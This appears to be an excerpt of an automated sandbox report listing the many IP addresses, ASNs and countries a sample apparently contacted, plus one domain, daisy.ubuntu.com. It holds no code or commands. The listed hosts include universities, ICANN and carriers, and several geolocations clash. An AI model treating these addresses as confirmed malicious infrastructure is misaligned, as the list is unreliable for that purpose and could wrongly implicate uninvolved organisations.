18049 TINP-TWTaiwanInfrastructureNetworkTechnologieTW false
190.175.124.70
 unknown Argentina
22927 TelefonicadeArgentinaAR false
88.73.198.115
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
40.151.164.43
 unknown United States
4249 LILLY-ASUS false
8.243.75.208
 unknown United States
3356 LEVEL3US false
3.35.139.240
 unknown United States
16509 AMAZON-02US false
2.9.181.247
 unknown France
3215 FranceTelecom-OrangeFR false
105.108.36.89
 unknown Algeria
36947 ALGTEL-ASDZ false
35.130.105.227
 unknown United States
20115 CHARTER-20115US false
212.43.157.129
 unknown Switzerland
8801 NETSERVSwitzerlandCH false
111.37.252.9
 unknown China
24444 CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany false
166.198.100.222
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
222.57.36.53
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
74.121.144.68
 unknown United States
26237 NUVASIVE-HQUS false
183.183.174.126
 unknown Japan 45684 MIRAINETKyoceraCommunicationSystemsCoLtdJP false
155.130.29.239
 unknown United States
23005 SWITCH-LTDUS false
32.22.70.208
 unknown United States
2686 ATGS-MMD-ASUS false
9.134.175.221
 unknown United States
3356 LEVEL3US false
187.213.128.192
 unknown Mexico
8151 UninetSAdeCVMX false
172.205.37.103
 unknown United States
18747 IFX18747US false
186.87.243.57
 unknown Colombia
10620 TelmexColombiaSACO false
189.232.201.35
 unknown Mexico
8151 UninetSAdeCVMX false
85.217.172.231
 unknown Switzerland
57634 SKAT-POPOVO-ASBG false
141.160.236.119
 unknown United States
197921 HBTFJO false
133.96.87.248
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
146.45.50.149
 unknown United States
197938 TRAVIANGAMESDE false
165.187.237.2
 unknown Australia
134369 ATOS-AS-APAtosAustraliaPtyLtdAU false
66.0.198.126
 unknown United States
7029 WINDSTREAMUS false
178.116.63.247
 unknown Belgium
6848 TELENET-ASBE false
160.73.70.233
 unknown United States
46887 LIGHTOWERUS false
150.58.110.188
 unknown Japan 24291 MITSUI-NWMITSUICOLTDJP false
119.176.99.248
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
4.243.81.160
 unknown United States
3356 LEVEL3US false
223.210.75.203
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
43.116.196.102
 unknown Japan 4249 LILLY-ASUS false
145.208.20.42
 unknown Netherlands
1101 IP-EEND-ASIP-EENDBVNL false
36.227.121.137
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
162.217.159.199
 unknown United States
62932 VISALIAUNIFIEDSCHOOLDISTRICTUS false
179.85.93.196
 unknown Brazil
26599 TELEFONICABRASILSABR false
9.110.117.223
 unknown United States
3356 LEVEL3US false
123.23.95.241
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
57.55.220.124
 unknown Belgium
2686 ATGS-MMD-ASUS false
117.129.174.210
 unknown China
56048 CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN false
178.150.231.17
 unknown Ukraine
13188 TRIOLANUA false
70.12.5.6
 unknown United States
10507 SPCSUS false
33.173.139.86
 unknown United States
2686 ATGS-MMD-ASUS false
85.153.0.11
 unknown Estonia
12946 TELECABLESpainES false
24.97.20.251
 unknown United States
11351 TWC-11351-NORTHEASTUS false
102.75.63.125
 unknown Morocco
6713 IAM-ASMA false
85.144.252.53
 unknown Netherlands
50266 TMOBILE-THUISNL false
48.239.50.244
 unknown United States
2686 ATGS-MMD-ASUS false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
6.43.84.88
 unknown United States
3356 LEVEL3US false
92.163.219.51
 unknown France
3215 FranceTelecom-OrangeFR false
205.244.113.50
 unknown United States
5778 CENTURYLINK-LEGACY-EMBARQ-RCMTUS false
27.32.242.33
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
208.77.191.16
 unknown United States
40528 ICANN-LAXUS false
101.140.231.5
 unknown Japan 17511 OPTAGEOPTAGEIncJP false
35.93.143.102
 unknown United States
237 MERIT-AS-14US false
89.49.165.242
 unknown Germany
5430 FREENETDEfreenetDatenkommunikationsGmbHDE false
200.83.48.73
 unknown Chile
22047 VTRBANDAANCHASACL false
211.171.23.80
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
136.175.72.222
 unknown Reserved
22498 PINELLAS-COUNTYUS false
14.123.91.243
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
113.85.179.243
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
46.183.162.134
 unknown Russian Federation
25227 ASN-AVANTEL-MSKLocatedinMoscowRussiaRU false
128.196.252.170
 unknown United States
1706 UNIV-ARIZUS false
134.95.4.166
 unknown Germany
5520 UNI-KOELNDE false
73.220.2.173
 unknown United States
7922 COMCAST-7922US false
45.24.101.133
 unknown United States
7018 ATT-INTERNET4US false
129.32.92.131
 unknown United States
3778 TEMPLEUS false
78.165.143.49
 unknown Turkey
9121 TTNETTR false
176.120.187.145
 unknown Russian Federation
51669 HCN-NETRU false
64.101.105.174
 unknown United States
109 CISCOSYSTEMSUS false
28.153.42.170
 unknown United States
7922 COMCAST-7922US false
82.24.55.36
 unknown United Kingdom
5089 NTLGB false
192.79.74.89
 unknown United States
46446 CALTELCOMUS false
198.31.36.160
 unknown United States
16743 FTSBROADBANDUS false
219.44.11.85
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
65.48.40.43
 unknown United States
7029 WINDSTREAMUS false
213.85.203.216
 unknown Russian Federation
8615 CNT-ASMoscowRussiaRU false
214.82.18.0
 unknown United States
721 DNIC-ASBLK-00721-00726US false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true